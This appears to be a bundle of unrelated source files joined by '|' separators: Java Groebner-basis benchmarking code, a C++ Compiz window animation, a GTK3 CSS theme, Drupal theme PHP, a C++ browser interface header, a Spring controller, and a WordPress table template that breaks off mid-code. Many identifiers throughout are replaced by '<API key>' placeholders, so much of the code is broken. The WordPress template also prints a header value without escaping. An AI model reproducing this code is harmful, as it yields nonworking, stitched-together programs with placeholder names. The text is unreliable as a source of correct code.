+ " |" + grad_maxPolyGrad + " |" + lex_maxPolyGrad + " |"
+ buchberger_Grad + " |" + tconv + " |" + buchberger_Lex;
//assertEquals(o2, o3);
if (! o2.equals(o3) ) {
throw new RuntimeException("FGLM != GB: " + o2 + " != " + o3);
}
return erg;
}
@SuppressWarnings("unchecked")
public String fglm(String order, String polynomials) {
GroebnerBaseFGLM<BigRational> IdealObjectGrad;
//<API key><BigRational> IdealObjectLex;
BigRational coeff = new BigRational();
GroebnerBase<BigRational> gb = GBFactory.getImplementation(coeff);
String polynomials_Grad = order + " G " + polynomials;
Reader sourceG = new StringReader(polynomials_Grad);
<API key> parserG = new <API key>(sourceG);
PolynomialList<BigRational> G = null;
try {
G = (PolynomialList<BigRational>) parserG.nextPolynomialSet();
} catch (IOException e) {
e.printStackTrace();
return "fail";
}
System.out.println("Input " + G);
//Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX)
long buchberger_Grad = System.currentTimeMillis();
List<GenPolynomial<BigRational>> GG = gb.GB(G.list);
buchberger_Grad = System.currentTimeMillis() - buchberger_Grad;
//PolynomialList<BigRational> GGG = new PolynomialList<BigRational>(G.ring, GG);
IdealObjectGrad = new GroebnerBaseFGLM<BigRational>(); //GGG);
long tconv = System.currentTimeMillis();
List<GenPolynomial<BigRational>> resultFGLM = IdealObjectGrad.convGroebnerToLex(GG);
tconv = System.currentTimeMillis() - tconv;
//PolynomialList<BigRational> LLL = new PolynomialList<BigRational>(G.ring, resultFGLM);
//IdealObjectLex = new GroebnerBaseSeq<BigRational>(); //LLL);
<API key><BigRational> o1 = new <API key><BigRational>(GG.get(0).ring, GG);
<API key><BigRational> o2 = new <API key><BigRational>(
resultFGLM.get(0).ring, resultFGLM);
int <API key> = GG.size();
int <API key> = resultFGLM.size();
long grad_maxPolyGrad = PolyUtil.<BigRational> <API key>(GG); //IdealObjectGrad.maxDegreeOfGB();
long lex_maxPolyGrad = PolyUtil.<BigRational> <API key>(resultFGLM); //IdealObjectLex.maxDegreeOfGB();
int grad_height = bitHeight(GG);
int lex_height = bitHeight(resultFGLM);
System.out.println("Order of Variables: " + order);
System.out.println("Groebnerbases: ");
System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1);
System.out.println("Groebnerbase FGML (INVLEX) computed from Buchberger (IGRLEX) " + o2);
String erg = "BigRational |" + order + " |" + <API key> + " |"
+ <API key> + " |" + grad_height + " |" + lex_height + " |"
+ grad_maxPolyGrad + " |" + lex_maxPolyGrad + " |" + buchberger_Grad
+ " |" + tconv;
return erg;
}
@SuppressWarnings("unchecked")
public String grad(String order, String polynomials) {
BigRational coeff = new BigRational();
GroebnerBase<BigRational> gb = GBFactory.getImplementation(coeff);
String polynomials_Grad = order + " G " + polynomials;
Reader sourceG = new StringReader(polynomials_Grad);
<API key> parserG = new <API key>(sourceG);
PolynomialList<BigRational> G = null;
try {
G = (PolynomialList<BigRational>) parserG.nextPolynomialSet();
} catch (IOException e) {
e.printStackTrace();
return "fail";
}
System.out.println("Input " + G);
//Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX)
long buchberger_Grad = System.currentTimeMillis();
List<GenPolynomial<BigRational>> GG = gb.GB(G.list);
buchberger_Grad = System.currentTimeMillis() - buchberger_Grad;
//PolynomialList<BigRational> GGG = new PolynomialList<BigRational>(G.ring, GG);
<API key><BigRational> o1 = new <API key><BigRational>(GG.get(0).ring, GG);
GroebnerBaseFGLM<BigRational> IdealObjectGrad;
IdealObjectGrad = new GroebnerBaseFGLM<BigRational>(); //GGG);
long grad_maxPolyGrad = PolyUtil.<BigRational> <API key>(GG); //IdealObjectGrad.maxDegreeOfGB();
List<GenPolynomial<BigRational>> reducedTerms = IdealObjectGrad.redTerms(GG);
<API key><BigRational> o4 = new <API key><BigRational>(
reducedTerms.get(0).ring, reducedTerms);
int <API key> = reducedTerms.size();
int <API key> = GG.size();
int grad_height = bitHeight(GG);
System.out.println("Order of Variables: " + order);
System.out.println("Groebnerbases: ");
System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1);
System.out.println("Reduced Terms" + o4);
String erg = "BigRational |" + order + " |" + <API key> + " |" + grad_height + " |"
+ grad_maxPolyGrad + " |" + buchberger_Grad + " |"
+ <API key>;
return erg;
}
@SuppressWarnings("unchecked")
public String lex(String order, String polynomials) {
//<API key><BigRational> IdealObjectLex;
BigRational coeff = new BigRational();
GroebnerBase<BigRational> gb = GBFactory.getImplementation(coeff);
String polynomials_Lex = order + " L " + polynomials;
Reader sourceL = new StringReader(polynomials_Lex);
<API key> parserL = new <API key>(sourceL);
PolynomialList<BigRational> L = null;
try {
L = (PolynomialList<BigRational>) parserL.nextPolynomialSet();
} catch (IOException e) {
e.printStackTrace();
return "fail";
}
System.out.println("Input " + L);
//Computation of the Groebnerbase with Buchberger w.r.t INVLEX
long buchberger_Lex = System.currentTimeMillis();
List<GenPolynomial<BigRational>> GL = gb.GB(L.list);
buchberger_Lex = System.currentTimeMillis() - buchberger_Lex;
//PolynomialList<BigRational> GLL = new PolynomialList<BigRational>(L.ring, GL);
//IdealObjectLex = new <API key><BigRational>(GLL);
<API key><BigRational> o3 = new <API key><BigRational>(GL.get(0).ring, GL);
int <API key> = GL.size();
long lex_maxPolyGrad = PolyUtil.<BigRational> <API key>(GL); //IdealObjectLex.maxDegreeOfGB();
int lexHeigth = bitHeight(GL);
System.out.println("Order of Variables: " + order);
System.out.println("Groebnerbase Buchberger (INVLEX) " + o3);
String erg = "BigRational" + order + "|" + <API key> + " |" + lexHeigth + " |"
+ lex_maxPolyGrad + " |" + buchberger_Lex;
return erg;
}
@SuppressWarnings("unchecked")
public String modAll(String order, String polynomials, Integer m) {
GroebnerBaseFGLM<ModInteger> IdealObjectFGLM;
//<API key><ModInteger> IdealObjectLex;
ModIntegerRing ring = new ModIntegerRing(m);
GroebnerBase<ModInteger> gb = GBFactory.getImplementation(ring);
String polynomials_Grad = "Mod " + ring.modul + " " + order + " G " + polynomials;
String polynomials_Lex = "Mod " + ring.modul + " " + order + " L " + polynomials;
Reader sourceG = new StringReader(polynomials_Grad);
<API key> parserG = new <API key>(sourceG);
PolynomialList<ModInteger> G = null;
Reader sourceL = new StringReader(polynomials_Lex);
<API key> parserL = new <API key>(sourceL);
PolynomialList<ModInteger> L = null;
try {
G = (PolynomialList<ModInteger>) parserG.nextPolynomialSet();
L = (PolynomialList<ModInteger>) parserL.nextPolynomialSet();
} catch (IOException e) {
e.printStackTrace();
return "fail";
}
System.out.println("G= " + G);
System.out.println("L= " + L);
//Computation of the Groebnerbase with Buchberger w.r.t INVLEX
long buchberger_Lex = System.currentTimeMillis();
List<GenPolynomial<ModInteger>> GL = gb.GB(L.list);
buchberger_Lex = System.currentTimeMillis() - buchberger_Lex;
//Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX)
long buchberger_Grad = System.currentTimeMillis();
List<GenPolynomial<ModInteger>> GG = gb.GB(G.list);
buchberger_Grad = System.currentTimeMillis() - buchberger_Grad;
//PolynomialList<ModInteger> GGG = new PolynomialList<ModInteger>(G.ring, GG);
//PolynomialList<ModInteger> GLL = new PolynomialList<ModInteger>(L.ring, GL);
IdealObjectFGLM = new GroebnerBaseFGLM<ModInteger>(); //GGG);
//IdealObjectLex = new <API key><ModInteger>(GLL);
long tconv = System.currentTimeMillis();
List<GenPolynomial<ModInteger>> resultFGLM = IdealObjectFGLM.convGroebnerToLex(GG);
tconv = System.currentTimeMillis() - tconv;
<API key><ModInteger> o1 = new <API key><ModInteger>(GG.get(0).ring, GG);
<API key><ModInteger> o2 = new <API key><ModInteger>(resultFGLM.get(0).ring,
resultFGLM);
List<GenPolynomial<ModInteger>> resultBuchberger = GL;
<API key><ModInteger> o3 = new <API key><ModInteger>(
resultBuchberger.get(0).ring, resultBuchberger);
int <API key> = GG.size();
int <API key> = resultFGLM.size();
long grad_maxPolyGrad = PolyUtil.<ModInteger> <API key>(GG); //IdealObjectFGLM.maxDegreeOfGB();
long lex_maxPolyGrad = PolyUtil.<ModInteger> <API key>(GL); //IdealObjectLex.maxDegreeOfGB();
System.out.println("Order of Variables: " + order);
System.out.println("Groebnerbases: ");
System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1);
System.out.println("Groebnerbase FGML (INVLEX) computed from Buchberger (IGRLEX) " + o2);
System.out.println("Groebnerbase Buchberger (INVLEX) " + o3);
String erg = "Mod " + m + " |" + order + " |" + <API key> + " |"
+ <API key> + " |" + grad_maxPolyGrad + " |" + lex_maxPolyGrad
+ " |" + buchberger_Grad + " |" + tconv + " |" + buchberger_Lex;
//assertEquals(o2, o3);
if (! o2.equals(o3) ) {
throw new RuntimeException("FGLM != GB: " + o2 + " != " + o3);
}
return erg;
}
@SuppressWarnings("unchecked")
public String modGrad(String order, String polynomials, Integer m) {
//GroebnerBaseFGLM<ModInteger> IdealObjectFGLM;
ModIntegerRing ring = new ModIntegerRing(m);
GroebnerBase<ModInteger> gb = GBFactory.getImplementation(ring);
String polynomials_Grad = "Mod " + ring.modul + " " + order + " G " + polynomials;
Reader sourceG = new StringReader(polynomials_Grad);
<API key> parserG = new <API key>(sourceG);
PolynomialList<ModInteger> G = null;
try {
G = (PolynomialList<ModInteger>) parserG.nextPolynomialSet();
} catch (IOException e) {
e.printStackTrace();
return "fail";
}
System.out.println("G= " + G);
//Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX)
long buchberger_Grad = System.currentTimeMillis();
List<GenPolynomial<ModInteger>> GG = gb.GB(G.list);
buchberger_Grad = System.currentTimeMillis() - buchberger_Grad;
//PolynomialList<ModInteger> GGG = new PolynomialList<ModInteger>(G.ring, GG);
//IdealObjectFGLM = new GroebnerBaseFGLM<ModInteger>(); //GGG);
<API key><ModInteger> o1 = new <API key><ModInteger>(GG.get(0).ring, GG);
int <API key> = GG.size();
long grad_maxPolyGrad = PolyUtil.<ModInteger> <API key>(GG); //IdealObjectFGLM.maxDegreeOfGB();
System.out.println("Order of Variables: " + order);
System.out.println("Groebnerbases: ");
System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1);
String erg = "Mod " + m + " |" + order + " |" + <API key> + " |"
+ grad_maxPolyGrad + " |" + buchberger_Grad;
return erg;
}
@SuppressWarnings("unchecked")
public String modfglm(String order, String polynomials, Integer m) {
GroebnerBaseFGLM<ModInteger> IdealObjectFGLM;
//<API key><ModInteger> IdealObjectLex;
ModIntegerRing ring = new ModIntegerRing(m);
GroebnerBase<ModInteger> gb = GBFactory.getImplementation(ring);
String polynomials_Grad = "Mod " + ring.modul + " " + order + " G " + polynomials;
Reader sourceG = new StringReader(polynomials_Grad);
<API key> parserG = new <API key>(sourceG);
PolynomialList<ModInteger> G = null;
try {
G = (PolynomialList<ModInteger>) parserG.nextPolynomialSet();
} catch (IOException e) {
e.printStackTrace();
return "fail";
}
System.out.println("G= " + G);
//Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX)
long buchberger_Grad = System.currentTimeMillis();
List<GenPolynomial<ModInteger>> GG = gb.GB(G.list);
buchberger_Grad = System.currentTimeMillis() - buchberger_Grad;
//PolynomialList<ModInteger> GGG = new PolynomialList<ModInteger>(G.ring, GG);
IdealObjectFGLM = new GroebnerBaseFGLM<ModInteger>(); //GGG);
long tconv = System.currentTimeMillis();
List<GenPolynomial<ModInteger>> resultFGLM = IdealObjectFGLM.convGroebnerToLex(GG);
tconv = System.currentTimeMillis() - tconv;
//PolynomialList<ModInteger> LLL = new PolynomialList<ModInteger>(G.ring, resultFGLM);
//IdealObjectLex = new <API key><ModInteger>(LLL);
<API key><ModInteger> o1 = new <API key><ModInteger>(GG.get(0).ring, GG);
<API key><ModInteger> o2 = new <API key><ModInteger>(resultFGLM.get(0).ring,
resultFGLM);
int <API key> = GG.size();
int <API key> = resultFGLM.size();
long grad_maxPolyGrad = PolyUtil.<ModInteger> <API key>(GG); //IdealObjectFGLM.maxDegreeOfGB();
long lex_maxPolyGrad = PolyUtil.<ModInteger> <API key>(resultFGLM); //IdealObjectLex.maxDegreeOfGB();
System.out.println("Order of Variables: " + order);
System.out.println("Groebnerbases: ");
System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1);
System.out.println("Groebnerbase FGML (INVLEX) computed from Buchberger (IGRLEX) " + o2);
String erg = "Mod " + m + " |" + order + " |" + <API key> + " |"
+ <API key> + " |" + grad_maxPolyGrad + " |"
+ lex_maxPolyGrad + " |" + buchberger_Grad + " |" + tconv;
return erg;
}
/**
* Method shuffle returns a random permutation of a string of variables.
*/
public String shuffle(String[] tempOrder) {
Collections.shuffle(Arrays.asList(tempOrder));
StringBuffer ret = new StringBuffer("(");
ret.append(ExpVector.varsToString(tempOrder));
ret.append(")");
return ret.toString();
}
/**
* Method bitHeight returns the bitlength of the greatest number
* occurring during the computation of a Groebner base.
*/
public int bitHeight(List<GenPolynomial<BigRational>> list) {
BigInteger denom = BigInteger.ONE;
BigInteger num = BigInteger.ONE;
for (GenPolynomial<BigRational> g : list) {
for (Monomial<BigRational> m : g) {
BigRational bi = m.coefficient();
BigInteger i = bi.denominator().abs();
BigInteger j = bi.numerator().abs();
if (i.compareTo(denom) > 0)
denom = i;
if (j.compareTo(num) > 0)
num = j;
}
}
int erg;
if (denom.compareTo(num) > 0) {
erg = denom.bitLength();
} else {
erg = num.bitLength();
}
return erg;
}
}
|
#include "private.h"
const float LeafSpreadAnim::kDurationFactor = 1.67;
LeafSpreadAnim::LeafSpreadAnim (CompWindow *w,
WindowEvent curWindowEvent,
float duration,
const AnimEffect info,
const CompRect &icon) :
Animation::Animation (w, curWindowEvent, kDurationFactor * duration, info,
icon),
PolygonAnim::PolygonAnim (w, curWindowEvent, kDurationFactor * duration,
info, icon)
{
mDoDepthTest = true;
mDoLighting = true;
mCorrectPerspective = <API key>;
}
void
LeafSpreadAnim::init ()
{
if (!<API key> (20, 14, 15.0f))
return;
CompRect outRect (mAWindow->savedRectsValid () ?
mAWindow->savedOutRect () :
mWindow->outputRect ());
float fadeDuration = 0.26;
float life = 0.4;
float spreadFac = 3.5;
float randYMax = 0.07;
float winFacX = outRect.width () / 800.0;
float winFacY = outRect.height () / 800.0;
float winFacZ = (outRect.height () + outRect.width ()) / 2.0 / 800.0;
float screenSizeFactor = (0.8 * DEFAULT_Z_CAMERA * ::screen->width ());
foreach (PolygonObject *p, mPolygons)
{
p->rotAxis.set (RAND_FLOAT (), RAND_FLOAT (), RAND_FLOAT ());
float speed = screenSizeFactor / 10 * (0.2 + RAND_FLOAT ());
float xx = 2 * (p->centerRelPos.x () - 0.5);
float yy = 2 * (p->centerRelPos.y () - 0.5);
float x = speed * winFacX * spreadFac * (xx +
0.5 * (RAND_FLOAT () - 0.5));
float y = speed * winFacY * spreadFac * (yy +
0.5 * (RAND_FLOAT () - 0.5));
float z = speed * winFacZ * 7 * ((RAND_FLOAT () - 0.5) / 0.5);
p->finalRelPos.set (x, y, z);
p->moveStartTime =
p->centerRelPos.y () * (1 - fadeDuration - randYMax) +
randYMax * RAND_FLOAT ();
p->moveDuration = 1;
p->fadeStartTime = p->moveStartTime + life;
if (p->fadeStartTime > 1 - fadeDuration)
p->fadeStartTime = 1 - fadeDuration;
p->fadeDuration = fadeDuration;
p->finalRotAng = 150;
}
}
|
/* used by gnome-font-viewer and sushi */
SushiFontWidget {
padding: 6px 12px;
}
.<API key> {
border-radius: 0;
}
.nautilus-desktop.<API key> {
color: white;
text-shadow: 1px 2px 3px alpha(@dark_shadow, 0.9)
}
.nautilus-desktop.<API key>:active {
color: @theme_fg_color;
}
.nautilus-desktop.<API key>:selected {
color: @<API key>;
}
.<API key>:selected:backdrop {
background-color: shade(@bg_color,0.7);
}
.nautilus-desktop.<API key>:active,
.nautilus-desktop.<API key>:prelight,
.nautilus-desktop.<API key>:selected {
text-shadow: none;
}
NautilusWindow .toolbar {
border-width: 0 0 1px;
border-style: solid;
border-color: shade(@toolbar_bg_color, 0.7);
}
NautilusWindow .sidebar .frame {
border-style: none;
}
NautilusWindow .sidebar row:hover {
background-color: shade (@theme_bg_color, 0.95);
}
NautilusWindow * {
-<API key>: 1px;
}
NautilusWindow .pane-separator {
background-image: url("../assets/null.png");
}
NautilusWindow .button.sidebar-button:hover,
NautilusWindow .button.sidebar-button:hover:active {
border: 1px solid @borders;
background-image: linear-gradient(to bottom,
shade(shade(@theme_bg_color, 1.02), 1.12),
shade(shade(@theme_bg_color, 1.02), 0.96)
);
}
NautilusWindow > GtkGrid > .pane-separator,
NautilusWindow > GtkGrid > .pane-separator:hover {
border-width: 0 1px 0 0;
border-style: solid;
border-color: shade(@theme_bg_color, 0.8);
background-color: shade(@theme_bg_color, 1.08);
color: shade (@theme_bg_color, 0.9);
}
NautilusNotebook.notebook {
border-right-width: 1px;
border-left-width: 1px;
border-bottom-width: 1px;
}
NautilusNotebook .frame,
NautilusWindow .sidebar .frame {
border-width: 0;
border-image: none;
}
NautilusQueryEditor .search-bar.toolbar {
border-top-width: 0;
border-bottom-width: 0;
}
NautilusQueryEditor .toolbar {
padding-top: 4px;
padding-bottom: 2px;
border-width: 1px 0 0 0;
border-style: solid;
border-color: shade(@toolbar_bg_color, 0.8);
background-image: none;
}
NautilusQueryEditor .toolbar:first-child {
padding-top: 4px;
padding-bottom: 2px;
}
NautilusQueryEditor .toolbar:last-child,
NautilusQueryEditor .search-bar.toolbar:only-child {
padding-top: 4px;
padding-bottom: 2px;
border-bottom-width: 1px;
border-bottom-color: shade(@toolbar_bg_color, 0.8);
background-image: none;
}
NautilusListView GtkTreeView {
border-color: @borders; /*Temp fix*/ }
NautilusListView .view {
border-bottom: 1px solid @theme_bg_color; }
TerminalWindow.background {
background-color: transparent;
}
TerminalWindow GtkNotebook.notebook {
border-right-width: 0;
border-left-width: 0;
border-bottom-width: 0;
}
/* no transparent background for gnome terminal scrollbars :
remove this section if you have installed a patched version
of gnome-terminal with transparency enabled */
TerminalWindow .scrollbars-junction,TerminalWindow .scrollbar.trough,
TerminalWindow .scrollbars-junction.frame,
TerminalWindow .frame.scrollbar.trough {
border-color: @borders;
background-color: @theme_bg_color; }
TerminalWindow .scrollbars-junction:backdrop,TerminalWindow .scrollbar.trough:backdrop,
TerminalWindow .scrollbars-junction.frame:backdrop,
TerminalWindow .frame.scrollbar.trough:backdrop {
border-color: @borders;
background-color: @theme_bg_color; }
TerminalWindow .scrollbar.vertical .slider {
margin-left: 3px; }
TerminalWindow .scrollbar.trough {
border-width: 0; }
GeditWindow * {
-<API key>: 1;
}
GeditWindow .pane-separator,
GeditWindow .pane-separator:hover {
border-width: 0 1px 1px 1px;
border-style: solid;
border-color: shade(@theme_bg_color, 0.8);
background-color: shade(@theme_bg_color, 0.8);
background-image: url("../assets/null.png");
color: shade(@theme_bg_color, 1.0);
}
GeditPanel.title GtkLabel {
padding: 4px 0;
}
GeditPanel.vertical .title {
padding: 4px 0 4px 3px;
border-style: none;
}
GeditPanel .toolbar {
border-style: none;
background-color: transparent;
}
GeditDocumentsPanel .view {
background-color: @theme_bg_color;
}
GeditStatusComboBox .button,
GeditStatusComboBox .button:hover,
GeditStatusComboBox .button:active,
GeditStatusComboBox .button:active:hover {
padding: 1px 6px 2px 4px;
border-style: solid;
border-width: 0 1px;
border-radius: 0;
}
GeditStatusComboBox .button:hover,
GeditStatusComboBox .button:active,
GeditStatusComboBox .button:active:hover {
border-color: shade(@theme_bg_color, 0.8);
}
GeditViewFrame .gedit-search-slider {
padding: 4px;
border-radius: 0 0 3px 3px;
border-width: 0 1px 1px 1px;
border-style: solid;
border-color: shade(@theme_base_color, 0.7);
background-color: @theme_base_color;
}
GeditViewFrame .gedit-search-slider .not-found {
background-color: #D94141;
background-image: none;
color: white;
}
GeditViewFrame .gedit-search-slider .not-found:selected {
background-color: @<API key>;
color: @selected_foreground;
}
<API key> .primary-toolbar.toolbar {
padding: 4px 8px;
border-top: none;
background-color: @theme_bg_color;
background-image: none;
}
.<API key> {
color: @theme_text_color;
border: 0px none @borders;
margin: 1px;
padding: 4px;
}
GeditStatusbar {
border-top: 1px solid @borders;
background-color: @theme_bg_color; }
GucharmapChartable {
background-color: @theme_base_color;
}
GucharmapChartable:active,
GucharmapChartable:focus,
GucharmapChartable:selected {
background-color: @<API key>;
color: @<API key>;
}
EPreviewPane {
background-color: @base_color;
color: @fg_color;
}
GtkHTML {
background-color: @base_color;
color: @fg_color;
}
/* needed for webkit/GtkStyle/Evolution compatibility */
GtkHTML:active,
GtkHTML:active:backdrop,
.entry:active,
.entry:active:backdrop {
background-color: @base_color;
color: @fg_color;
}
.calendar-view {
background-color: shade(@theme_base_color, 0.95);
color: @theme_text_color;
}
/* Border on the right in the left menu toolbar */
.<API key>:dir(ltr) {
border-right-width: 1px;
}
.<API key>:dir(rtl) {
border-left-width: 1px;
}
.<API key>:dir(ltr),
.<API key>:dir(rtl) {
<API key>: 0;
}
.<API key>:dir(ltr),
.<API key>:dir(rtl) {
<API key>: 0;
}
/*
* Evince
*/
EvWindow.background > GtkBox.vertical > GtkPaned.horizontal > GtkBox.vertical > GtkScrolledWindow.frame {
border-width: 0;
border-radius: 0;
}
EvWindow.background EvSidebar.vertical .frame {
border-width: 1px 0;
border-radius: 0;
}
EvWindow.background EvSidebar.vertical .notebook {
border-width: 1px 0;
}
EvWindow.background <API key>.vertical GtkToolPalette > GtkToolItemGroup > .button {
padding: 4px;
border-image: none;
border-radius: 0;
border-style: solid;
border-width: 0 0 1px;
border-color: shade(@theme_bg_color, 0.8);
}
EvWindow.background EvSidebar.vertical .notebook .frame {
border-width: 0;
}
EvWindow .pane-separator,
EvWindow .pane-separator:hover {
border-width: 0 1px;
border-style: solid;
border-color: shade(@theme_base_color, 0.9);
background-color: transparent;
color: shade(@theme_base_color, 0.7);
}
EvWindow.background EggFindBar.toolbar {
border-width: 1px 0 0;
border-style: solid;
border-color: shade(@theme_base_color, 0.9);
}
EvWindow.background EvSidebar.vertical .notebook {
border-color: shade(@theme_base_color, 0.7);
background-color: @theme_base_color;
border-radius: 0;
}
EvWindow.background EvSidebar.vertical .notebook.header {
background-color: @theme_bg_color;
box-shadow: none;
background-image: none;
border-width: 0px;
}
EvWindow.background EvSidebar.vertical .notebook tab.top:active {
background-color: @theme_base_color;
background-image: none;
}
EvWindow.background EvSidebar.vertical .notebook tab.top {
border-color: transparent;
border-width: 0px;
background-image: none;
background-color: transparent;
}
EvWindow.background EvSidebar.vertical .notebook tab GtkLabel {
color: alpha(@toolbar_fg_color, 0.5);
}
EvWindow.background EvSidebar.vertical .notebook .prelight-page,
EvWindow.background EvSidebar.vertical .notebook .prelight-page GtkLabel {
color: @theme_fg_color;
}
EvWindow.background EvSidebar.vertical .notebook .active-page,
EvWindow.background EvSidebar.vertical .notebook tab .active-page GtkLabel {
color: alpha(@toolbar_fg_color, 1.0);
}
/* used by Documents and Evince */
.content-view.document-page {
border-style: solid;
border-width: 3px 3px 6px 4px;
border-image: url("../assets/thumbnail-frame.png") 3 3 6 4;
}
/*
* File-roller
*/
FrWindow.background GtkPaned.horizontal {
-<API key>: 1;
}
FrWindow > GtkGrid > .pane-separator,
FrWindow > GtkGrid > .pane-separator:hover {
border-width: 0 1px 0 0;
border-style: solid;
border-color: @borders;
}
FrWindow.background GtkBox.vertical GtkTreeView.view {
background-color: @sidebar_bg;
}
/*
* Totem
*/
/*TotemGrilo.vertical .content-view {
border-width: 0;
}*/
TotemMainToolbar.header-bar {
border-width: 0;
}
TotemGrilo.vertical .search-bar {
border-width: 1px 0 0 0;
}
<API key>.background GtkStack GtkVBox.vertical GtkOverlay GtkRevealer.top {
background-color: @borders;
}
/* Transmission */
.tr-workarea .undershoot,
.tr-workarea .overshoot {
border-color: transparent; /* Remove black border on over- and undershoot */
}
.tweak:hover{
color: @text_color;
}
.tweak-categories .list-row.button:hover {
background-color: @selected_bg_color;
color: @selected_fg_color;
}
.tweak-categories {
background-color: @sidebar_bg_color;
background-image: linear-gradient(to bottom,@sidebar_bg_color,@sidebar_bg_color);
}
|
<?php
/**
* Sets the body-tag class attribute.
*
* Adds 'sidebar-left', 'sidebar-right' or 'sidebars' classes as needed.
*/
function <API key>($left, $right) {
if ($left != '' && $right != '') {
$class = 'sidebars';
}
else {
if ($left != '') {
$class = 'sidebar-left';
}
if ($right != '') {
$class = 'sidebar-right';
}
}
if (isset($class)) {
print ' class="'. $class .'"';
}
}
/**
* Return a themed breadcrumb trail.
*
* @param $breadcrumb
* An array containing the breadcrumb links.
* @return a string containing the breadcrumb output.
*/
function <API key>($breadcrumb) {
if (!empty($breadcrumb)) {
return '<div class="breadcrumb">'. implode(' › ', $breadcrumb) .'</div>';
}
}
/**
* Override or insert PHPTemplate variables into the templates.
*/
function <API key>(&$vars) {
$vars['tabs2'] = <API key>();
// Hook into color.module
if (module_exists('color')) {
_color_page_alter($vars);
}
}
/**
* Add a "Comments" heading above comments except on forum pages.
*/
function <API key>(&$vars) {
if ($vars['content'] && $vars['node']->type != 'forum') {
$vars['content'] = '<h2 class="comments">'. t('Comments') .'</h2>'. $vars['content'];
}
}
/**
* Returns the rendered local tasks. The default implementation renders
* them as tabs. Overridden to split the secondary tasks.
*
* @ingroup themeable
*/
function <API key>() {
return <API key>();
}
/**
* Returns the themed submitted-by string for the comment.
*/
function <API key>($comment) {
return t('!datetime — !username',
array(
'!username' => theme('username', $comment),
'!datetime' => format_date($comment->timestamp)
));
}
/**
* Returns the themed submitted-by string for the node.
*/
function <API key>($node) {
return t('!datetime — !username',
array(
'!username' => theme('username', $node),
'!datetime' => format_date($node->created),
));
}
/**
* Generates IE CSS links for LTR and RTL languages.
*/
function <API key>() {
global $language;
$iecss = '<link type="text/css" rel="stylesheet" media="all" href="'. base_path() . path_to_theme() .'/fix-ie.css" />';
if ($language->direction == LANGUAGE_RTL) {
$iecss .= '<style type="text/css" media="all">@import "'. base_path() . path_to_theme() .'/fix-ie-rtl.css";</style>';
}
return $iecss;
}
|
#ifndef <API key>
#define <API key>
#include <string>
#include "content/public/browser/<API key>.h"
#include "content/public/browser/navigation_details.h"
namespace content {
struct <API key>;
struct <API key>;
struct <API key>;
class InterstitialPage;
class <API key>;
class RenderViewHost;
class SiteInstance;
class WebContents;
class WebContentsDelegate;
class <API key> {
public:
virtual ~<API key>() {}
virtual RenderViewHost* GetRenderViewHost() const = 0;
virtual InterstitialPage* GetInterstitialPage() const = 0;
virtual const std::string& GetContentsMimeType() const = 0;
virtual void <API key>(unsigned changed_flags) = 0;
virtual void Stop() = 0;
virtual SiteInstance* GetSiteInstance() const = 0;
virtual SiteInstance* <API key>() const = 0;
virtual int32 GetMaxPageID() = 0;
virtual int32 <API key>(SiteInstance* site_instance) = 0;
virtual bool IsLoading() const = 0;
virtual void <API key>() = 0;
virtual void <API key>(
const <API key>& load_details) = 0;
virtual bool <API key>(
<API key>::ReloadType reload_type) = 0;
virtual void <API key>(
const SiteInstance* site_instance,
int <API key>,
int32 minimum_page_id) = 0;
virtual void CopyMaxPageIDsFrom(WebContents* web_contents) = 0;
virtual void UpdateMaxPageID(int32 page_id) = 0;
virtual void <API key>(SiteInstance* site_instance,
int32 page_id) = 0;
virtual void <API key>() = 0;
virtual WebContents* GetWebContents() = 0;
virtual bool IsHidden() = 0;
virtual void <API key>(
RenderViewHost* render_view_host) = 0;
virtual void <API key>(
<API key>* interstitial_page) = 0;
virtual void <API key>() = 0;
virtual void SetIsLoading(RenderViewHost* render_view_host,
bool is_loading,
<API key>* details) = 0;
};
}
#endif
|
package com.swayam.ims.webapp.controller.trx;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
/**
*
* @author paawak
*/
public abstract class TrxFormController implements Controller {
final TrxModeIndicator modeIndicator;
private String formView;
public TrxFormController(TrxModeIndicator modeIndicator) {
this.modeIndicator = modeIndicator;
}
public final void setFormView(String formView) {
this.formView = formView;
}
public ModelAndView handleRequest(HttpServletRequest request,
HttpServletResponse response) throws Exception {
ModelAndView modelNView = new ModelAndView(formView);
modelNView.addObject("isPurchaseMode", modeIndicator.isPurchaseMode());
return modelNView;
}
}
|
<?php
if ( !defined( 'ABSPATH' ) ) {
exit;
}
$rowWidth = 0;
foreach ( $cells as $cell ) {
$rowWidth += (int)$cell['width'];
}
if ( $rows ) { ?>
<table class="mscrm-listview table">
<thead>
<tr>
<?php foreach ( current( $rows ) as $cellName => $cell ) {
$cellWidth = $cells[$cellName]['width'];
?>
<th style="width:<?php echo round( ( $cellWidth / $rowWidth * 100 ), 3 ); ?>%;"><?php echo $cell["head"]; ?></th>
<?php } ?>
</tr>
</thead>
<tbody>
<?php foreach ( $rows as $row ) { ?>
<tr>
<?php foreach ( $row as $key => $cell ) : ?>
<td><?php <API key>( $cell ); ?></td>
<?php endforeach; ?>
</tr>
<?php } ?>
</tbody>
<?php
if ( array_key_exists( 'count', $attributes ) && (int)$attributes['count'] > 0 ) {
$currentPage = 1;
if ( array_key_exists( 'viewPage', $_GET ) && (int)$_GET['viewPage'] > 0 ) {
$currentPage = (int)$_GET['viewPage'];
}
?><tfoot>
<tr>
<td colspan="<?php echo esc_attr( count( $cells ) ); ?>">
<?php if ( $currentPage > 1 ) {
$queryParams = ACRM()->request->query->all();
unset( $queryParams['viewPage'] );
if ( $currentPage > 2 ) {
$queryParams[ 'viewPage'] = $currentPage - 1;
}
$url = \Symfony\Component\HttpFoundation\Request::create(
ACRM()->request->getPathInfo(),
'GET',
$queryParams
);
?><a href="<?php echo esc_attr( $url->getRequestUri() ); ?>" class="btn btn-outline-primary"><?php _e( '← Previous', '<API key>' ); ?></a> <?php /* the prepended space is purposeful */
}
